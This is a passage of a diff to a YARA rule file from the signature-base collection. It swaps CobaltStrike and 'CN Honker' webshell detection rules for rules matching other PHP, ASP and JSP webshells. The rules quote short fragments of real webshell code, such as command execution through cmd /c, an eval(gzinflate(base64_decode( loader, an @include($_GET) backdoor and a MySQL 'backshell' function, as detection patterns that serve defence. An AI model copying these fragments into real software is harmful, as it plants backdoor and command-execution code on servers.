-		$s234 = { EA EB EA EB EA E8 ?? ?? EA E8 EA EB EA E8 ?? ?? EA E9 EA E8 EA EE ?? ?? ?? ?? EA EE EA E8 EA EE ?? ?? ?? ?? EA EF EA EB EA E8 ?? ?? }
-		$s235 = { EB EA EB EA EB E9 ?? ?? EB E9 EB EA EB E9 ?? ?? EB E8 EB E9 EB EF ?? ?? ?? ?? EB EF EB E9 EB EF ?? ?? ?? ?? EB EE EB EA EB E9 ?? ?? }
-		$s236 = { EC ED EC ED EC EE ?? ?? EC EE EC ED EC EE ?? ?? EC EF EC EE EC E8 ?? ?? ?? ?? EC E8 EC EE EC E8 ?? ?? ?? ?? EC E9 EC ED EC EE ?? ?? }
-		$s237 = { ED EC ED EC ED EF ?? ?? ED EF ED EC ED EF ?? ?? ED EE ED EF ED E9 ?? ?? ?? ?? ED E9 ED EF ED E9 ?? ?? ?? ?? ED E8 ED EC ED EF ?? ?? }
-		$s238 = { EE EF EE EF EE EC ?? ?? EE EC EE EF EE EC ?? ?? EE ED EE EC EE EA ?? ?? ?? ?? EE EA EE EC EE EA ?? ?? ?? ?? EE EB EE EF EE EC ?? ?? }
-		$s239 = { EF EE EF EE EF ED ?? ?? EF ED EF EE EF ED ?? ?? EF EC EF ED EF EB ?? ?? ?? ?? EF EB EF ED EF EB ?? ?? ?? ?? EF EA EF EE EF ED ?? ?? }
-		$s240 = { F0 F1 F0 F1 F0 F2 ?? ?? F0 F2 F0 F1 F0 F2 ?? ?? F0 F3 F0 F2 F0 F4 ?? ?? ?? ?? F0 F4 F0 F2 F0 F4 ?? ?? ?? ?? F0 F5 F0 F1 F0 F2 ?? ?? }
-		$s241 = { F1 F0 F1 F0 F1 F3 ?? ?? F1 F3 F1 F0 F1 F3 ?? ?? F1 F2 F1 F3 F1 F5 ?? ?? ?? ?? F1 F5 F1 F3 F1 F5 ?? ?? ?? ?? F1 F4 F1 F0 F1 F3 ?? ?? }
-		$s242 = { F2 F3 F2 F3 F2 F0 ?? ?? F2 F0 F2 F3 F2 F0 ?? ?? F2 F1 F2 F0 F2 F6 ?? ?? ?? ?? F2 F6 F2 F0 F2 F6 ?? ?? ?? ?? F2 F7 F2 F3 F2 F0 ?? ?? }
-		$s243 = { F3 F2 F3 F2 F3 F1 ?? ?? F3 F1 F3 F2 F3 F1 ?? ?? F3 F0 F3 F1 F3 F7 ?? ?? ?? ?? F3 F7 F3 F1 F3 F7 ?? ?? ?? ?? F3 F6 F3 F2 F3 F1 ?? ?? }
-		$s244 = { F4 F5 F4 F5 F4 F6 ?? ?? F4 F6 F4 F5 F4 F6 ?? ?? F4 F7 F4 F6 F4 F0 ?? ?? ?? ?? F4 F0 F4 F6 F4 F0 ?? ?? ?? ?? F4 F1 F4 F5 F4 F6 ?? ?? }
-		$s245 = { F5 F4 F5 F4 F5 F7 ?? ?? F5 F7 F5 F4 F5 F7 ?? ?? F5 F6 F5 F7 F5 F1 ?? ?? ?? ?? F5 F1 F5 F7 F5 F1 ?? ?? ?? ?? F5 F0 F5 F4 F5 F7 ?? ?? }
-		$s246 = { F6 F7 F6 F7 F6 F4 ?? ?? F6 F4 F6 F7 F6 F4 ?? ?? F6 F5 F6 F4 F6 F2 ?? ?? ?? ?? F6 F2 F6 F4 F6 F2 ?? ?? ?? ?? F6 F3 F6 F7 F6 F4 ?? ?? }
-		$s247 = { F7 F6 F7 F6 F7 F5 ?? ?? F7 F5 F7 F6 F7 F5 ?? ?? F7 F4 F7 F5 F7 F3 ?? ?? ?? ?? F7 F3 F7 F5 F7 F3 ?? ?? ?? ?? F7 F2 F7 F6 F7 F5 ?? ?? }
-		$s248 = { F8 F9 F8 F9 F8 FA ?? ?? F8 FA F8 F9 F8 FA ?? ?? F8 FB F8 FA F8 FC ?? ?? ?? ?? F8 FC F8 FA F8 FC ?? ?? ?? ?? F8 FD F8 F9 F8 FA ?? ?? }
-		$s249 = { F9 F8 F9 F8 F9 FB ?? ?? F9 FB F9 F8 F9 FB ?? ?? F9 FA F9 FB F9 FD ?? ?? ?? ?? F9 FD F9 FB F9 FD ?? ?? ?? ?? F9 FC F9 F8 F9 FB ?? ?? }
-		$s250 = { FA FB FA FB FA F8 ?? ?? FA F8 FA FB FA F8 ?? ?? FA F9 FA F8 FA FE ?? ?? ?? ?? FA FE FA F8 FA FE ?? ?? ?? ?? FA FF FA FB FA F8 ?? ?? }
-		$s251 = { FB FA FB FA FB F9 ?? ?? FB F9 FB FA FB F9 ?? ?? FB F8 FB F9 FB FF ?? ?? ?? ?? FB FF FB F9 FB FF ?? ?? ?? ?? FB FE FB FA FB F9 ?? ?? }
-		$s252 = { FC FD FC FD FC FE ?? ?? FC FE FC FD FC FE ?? ?? FC FF FC FE FC F8 ?? ?? ?? ?? FC F8 FC FE FC F8 ?? ?? ?? ?? FC F9 FC FD FC FE ?? ?? }
-		$s253 = { FD FC FD FC FD FF ?? ?? FD FF FD FC FD FF ?? ?? FD FE FD FF FD F9 ?? ?? ?? ?? FD F9 FD FF FD F9 ?? ?? ?? ?? FD F8 FD FC FD FF ?? ?? }
-		$s254 = { FE FF FE FF FE FC ?? ?? FE FC FE FF FE FC ?? ?? FE FD FE FC FE FA ?? ?? ?? ?? FE FA FE FC FE FA ?? ?? ?? ?? FE FB FE FF FE FC ?? ?? }
-		$s255 = { FF FE FF FE FF FD ?? ?? FF FD FF FE FF FD ?? ?? FF FC FF FD FF FB ?? ?? ?? ?? FF FB FF FD FF FB ?? ?? ?? ?? FF FA FF FE FF FD ?? ?? }
-		$fp1 = "ICSharpCode.Decompiler" wide
+		$s2 = "echo '<option value=\"create function backshell returns string soname"
+		$s3 = "echo      \"<input name='p' type='text' size='27' value='\".dirname(_FILE_).\""
+		$s8 = "echo '<option value=\"select cmdshell(\\'net user "
 
 	condition:
-		any of ($s*) and not 1 of ($fp*)
+		2 of them
 }
-rule SIGNATURE_BASE_Cobaltstrike_MZ_Launcher
+rule SIGNATURE_BASE_Webshell_Minupload
 {
 	meta:
-		description = "Detects CobaltStrike MZ header ReflectiveLoader launcher"
-		author = "yara@s3c.za.net"
-		id = "461a4741-11c5-53d9-b8e1-52d64cfe755b"
-		date = "2021-07-08"
+		description = "Web Shell - file minupload.jsp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike_evasive.yar#L297-L307"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa188546db138dffdcdbf6538367b5d5bc37638a2784b24b7fcd913c15e56072"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1953-L1967"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ec905a1395d176c27f388d202375bdf9"
+		logic_hash = "53dea3ea0e2cf83907273fa7f64b21b40e9a5c8e4aa34e5d46d2762396fa89ce"
+		score = 70
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$mz_launcher = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D }
+		$s0 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">   " fullword
+		$s9 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859"
 
 	condition:
-		$mz_launcher
+		all of them
 }
-rule SIGNATURE_BASE_Cobaltstrike_Unmodifed_Beacon
+rule SIGNATURE_BASE_Webshell_ELMALISEKER_Backd00R
 {
 	meta:
-		description = "Detects unmodified CobaltStrike beacon DLL"
-		author = "yara@s3c.za.net"
-		id = "8eeb03f9-9698-5a46-b45b-224d5c3f3df7"
-		date = "2019-08-16"
+		description = "Web Shell - file ELMALISEKER Backd00r.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cobaltstrike_evasive.yar#L309-L320"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "10114a431fb70be8e18e67b22aa76bf2c0536f07d373f717c1dc51755e0847c9"
-		score = 75
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1968-L1982"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3aa403e0a42badb2c23d4a54ef43e2f4"
+		logic_hash = "c5eea930dc386c60e60f052c4945c8d6c0125d3500e60794e21d5ea04f226628"
+		score = 70
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$loader_export = "ReflectiveLoader"
-		$exportname = "beacon.dll"
+		$s0 = "response.write(\"<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOptio"
+		$s2 = "if FP = \"RefreshFolder\" or request.form(\"cmdOption\")=\"DeleteFolder\" or req"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Php5 : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Bug_1_
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php5.txt"
+		description = "Web Shell - file bug (1).php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ee063c4c-af06-520f-acfe-fba758b84d3c"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L8-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0fd91b6ad400a857a6a65c8132c39e6a16712f19"
-		logic_hash = "e882f115a67fe31ece1a81e1a2770b46370a92ac3aa23e348a12cdb5735e8a0e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1983-L1996"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "91c5fae02ab16d51fc5af9354ac2f015"
+		logic_hash = "12b957b7e0d0823721273ab71a19ee62d84a8dc5f584a46691f0e0aef996386e"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user" ascii
-		$s20 = "echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').\"<b>\".$" ascii
+		$s0 = "@include($_GET['bug']);" fullword
 
 	condition:
-		uint16(0)==0x3f3c and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Test3693 : FILE
+rule SIGNATURE_BASE_Webshell_Caidao_Shell_Hkmjj
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file test3693.war"
+		description = "Web Shell - file hkmjj.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "58fe4445-b2e1-5d5f-8c46-39c6ae78f845"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L25-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "246d629ae3ad980b5bfe7e941fe90b855155dbfc"
-		logic_hash = "a10618d54fb7adbbd89a10f2e1ac067ccd1832140bcaf3b92394ebe7323f2d1e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L1997-L2010"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e7b994fe9f878154ca18b7cde91ad2d0"
+		logic_hash = "9a25df170ed165fe6528e6b9374ae572bcd26cd2e1f4014c7aa4953122671fac"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Process p=Runtime.getRuntime().exec(\"cmd /c \"+strCmd);" fullword ascii
-		$s2 = "http://www.topronet.com </font>\",\" <font color=red> Thanks for your support - " ascii
+		$s6 = "codeds=\"Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li\"  " fullword
 
 	condition:
-		uint16(0)==0x4b50 and filesize <50KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Mycode12 : FILE
+rule SIGNATURE_BASE_Webshell_Jsp_Asd
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file mycode12.cfm"
+		description = "Web Shell - file asd.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2ce7368c-7565-5b32-94d1-c87023404c5b"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L42-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "64be8760be5ab5c2dcf829e3f87d3e50b1922f17"
-		logic_hash = "94cb0e414634af753db9ec0c63a3a34b4f9104e93e01d67cebab7b3a0c471198"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2011-L2025"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a042c2ca64176410236fcc97484ec599"
+		logic_hash = "6620b796b55a67010cd3edebc2ec84c2657717722129ea46288d262cfd1c7e1c"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<cfexecute name=\"cmd.exe\"" fullword ascii
-		$s2 = "<cfoutput>#cmd#</cfoutput>" fullword ascii
+		$s3 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>" fullword
+		$s6 = "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url"
 
 	condition:
-		filesize <4KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Offlibrary : FILE
+rule SIGNATURE_BASE_Webshell_Metaslsoft
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file offlibrary.php"
+		description = "Web Shell - file metaslsoft.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c01f7c8b-a6bd-5094-9574-8cc853698607"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L59-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eb5275f99211106ae10a23b7e565d208a94c402b"
-		logic_hash = "ffec24bedfe0794e8f92da5067c41932339e61ec23d71a67ed4b634434cd10d6"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2027-L2040"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aa328ed1476f4a10c0bcc2dde4461789"
+		logic_hash = "20d938fbe21bcf04f09c6450a9acd5db556e9c9f83149d3cdd098be7a905d5ca"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "';$i=$g->query(\"SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING" ascii
-		$s12 = "if(jushRoot){var script=document.createElement('script');script.src=jushRoot+'ju" ascii
+		$s7 = "$buff .= \"<tr><td><a href=\\\"?d=\".$pwd.\"\\\">[ $folder ]</a></td><td>LINK</t"
 
 	condition:
-		filesize <1005KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Cfm_Xl : FILE
+rule SIGNATURE_BASE_Webshell_Asp_Ajan
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file xl.cfm"
+		description = "Web Shell - file Ajan.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5c8d1301-fe20-50e0-86ac-99a220cd4be1"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L76-L91"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49c3d16ee970945367a7d6ae86b7ade7cb3b5447"
-		logic_hash = "b6683a24ad58a9444ec91f13e7da5db3e3e768afded09a23e1bbd0a0c23cf6b9"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2041-L2054"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b6f468252407efc2318639da22b08af0"
+		logic_hash = "1817786725de61150f1b3ff57597c780323a7f4df1c046cfd473e1918decd7d2"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<input name=\"DESTINATION\" value=\"" ascii
-		$s1 = "<CFFILE ACTION=\"Write\" FILE=\"#Form.path#\" OUTPUT=\"#Form.cmd#\">" fullword ascii
+		$s3 = "entrika.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreate"
 
 	condition:
-		uint16(0)==0x433c and filesize <13KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Linux : FILE
+rule SIGNATURE_BASE_Webshell_Config_Myxx_Zend
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file linux.txt"
+		description = "Web Shell - from files config.jsp, myxx.jsp, zend.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8d94f1c5-2139-5d0d-8af9-9c30a0359910"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L93-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "78339abb4e2bb00fe8a012a0a5b7ffce305f4e06"
-		logic_hash = "2c6278acd123e0d41ed4f0f8f0da27d5de1ad56efb8102c9eae442838a0416d0"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2055-L2071"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "161dc712f279e73ea8cab4b0298cc2ca3799c6d9107050c4231a81021caed37f"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash1 = "e0354099bee243702eb11df8d0e046df"
+		hash2 = "591ca89a25f06cf01e4345f98a22845c"
 
 	strings:
-		$s0 = "<form name=form1 action=exploit.php method=post>" fullword ascii
-		$s1 = "<title>Changing CHMOD Permissions Exploit " fullword ascii
+		$s3 = ".println(\"<a href=\\\"javascript:alert('You Are In File Now ! Can Not Pack !');"
 
 	condition:
-		uint16(0)==0x696c and filesize <6KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Interception3389_Get : FILE
+rule SIGNATURE_BASE_Webshell_Browser_201_3_Ma_Download
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file get.asp"
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, download.jsp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b17a793f-ffb7-5cdc-ba21-b0e2f0d14490"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L110-L126"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ceb6306f6379c2c1634b5058e1894b43abcf0296"
-		logic_hash = "649e611c9d8948e60811af4209d737b3e797e6b42beba42439541ae543b062d6"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2072-L2091"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3605e1304fb314c13d6c94d6ac9337731c6ee4fef679444d599cb3ae29023b56"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "fa87bbd7201021c1aefee6fcc5b8e25a"
 
 	strings:
-		$s0 = "userip = Request.ServerVariables(\"HTTP_X_FORWARDED_FOR\")" fullword ascii
-		$s1 = "file.writeline  szTime + \" HostName:\" + szhostname + \" IP:\" + userip+\":\"+n" ascii
-		$s3 = "set file=fs.OpenTextFile(server.MapPath(\"WinlogonHack.txt\"),8,True)" fullword ascii
+		$s2 = "<small>jsp File Browser version <%= VERSION_NR%> by <a"
+		$s3 = "else if (fName.endsWith(\".mpg\") || fName.endsWith(\".mpeg\") || fName.endsWith"
 
 	condition:
-		filesize <3KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_Nc_1 : FILE
+rule SIGNATURE_BASE_Webshell_Itsec_Itsecteam_Shell_Jhn
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file 1.txt"
+		description = "Web Shell - from files itsec.php, itsecteam_shell.php, jHn.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fe83df79-f7cb-50b8-bb34-9bfc5fbe3de2"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L128-L143"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "51d83961171db000fe4476f36d703ef3de409676"
-		logic_hash = "80ea8f16d943a3775fe9999131272af9e7f1af60d413109e58ecdef036484760"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2092-L2109"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2775d7e47a26e06ea716bdca32a0f768eccf4d269caa3d107b4a78f8684ce741"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash2 = "40c6ecf77253e805ace85f119fe1cebb"
 
 	strings:
-		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 " ascii
-		$s2 = "<%if session(\"pw\")<>\"go\" then %>" fullword ascii
+		$s4 = "echo $head.\"<font face='Tahoma' size='2'>Operating System : \".php_uname().\"<b"
+		$s5 = "echo \"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'"
 
 	condition:
-		filesize <11KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_PHP_Blacksky : FILE
+rule SIGNATURE_BASE_Webshell_Ghost_Source_Icesword_Silic
 {
 	meta:
-		description = "Webshell from CN Honker Pentest Toolset - file php6.txt"
+		description = "Web Shell - from files ghost_source.php, icesword.php, silic.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "741bb4db-6296-5222-8480-1169a6f44fd8"
-		date = "2015-06-23"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2014-01-28"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_webshells.yar#L145-L160"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a60a599c6c8b6a6c0d9da93201d116af257636d7"
-		logic_hash = "3b92f63f536361d8ba0cde853fb546f271abdec3a7c1d44688a42610f5f90c57"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L2110-L2127"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "22879d5279866e3c25a5b41a98b44595f191cfcac6489208b0bdb6b7ca7201e5"
 		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "cbf64a56306c1b5d98898468fc1fdbd8"
+		hash1 = "6e20b41c040efb453d57780025a292ae"
+		hash2 = "437d30c94f8eef92dc2f064de4998695"
 
 	strings:
-		$s0 = "eval(gzinflate(base64_decode('" ascii
-		$s1 = "B1ac7Sky-->" fullword ascii
+		$s3 = "if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $"
+		$s6 = "if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST["
 
 	condition:
-		filesize <641KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_CN_Honker_Webshell_ASP_Asp3 : FILE
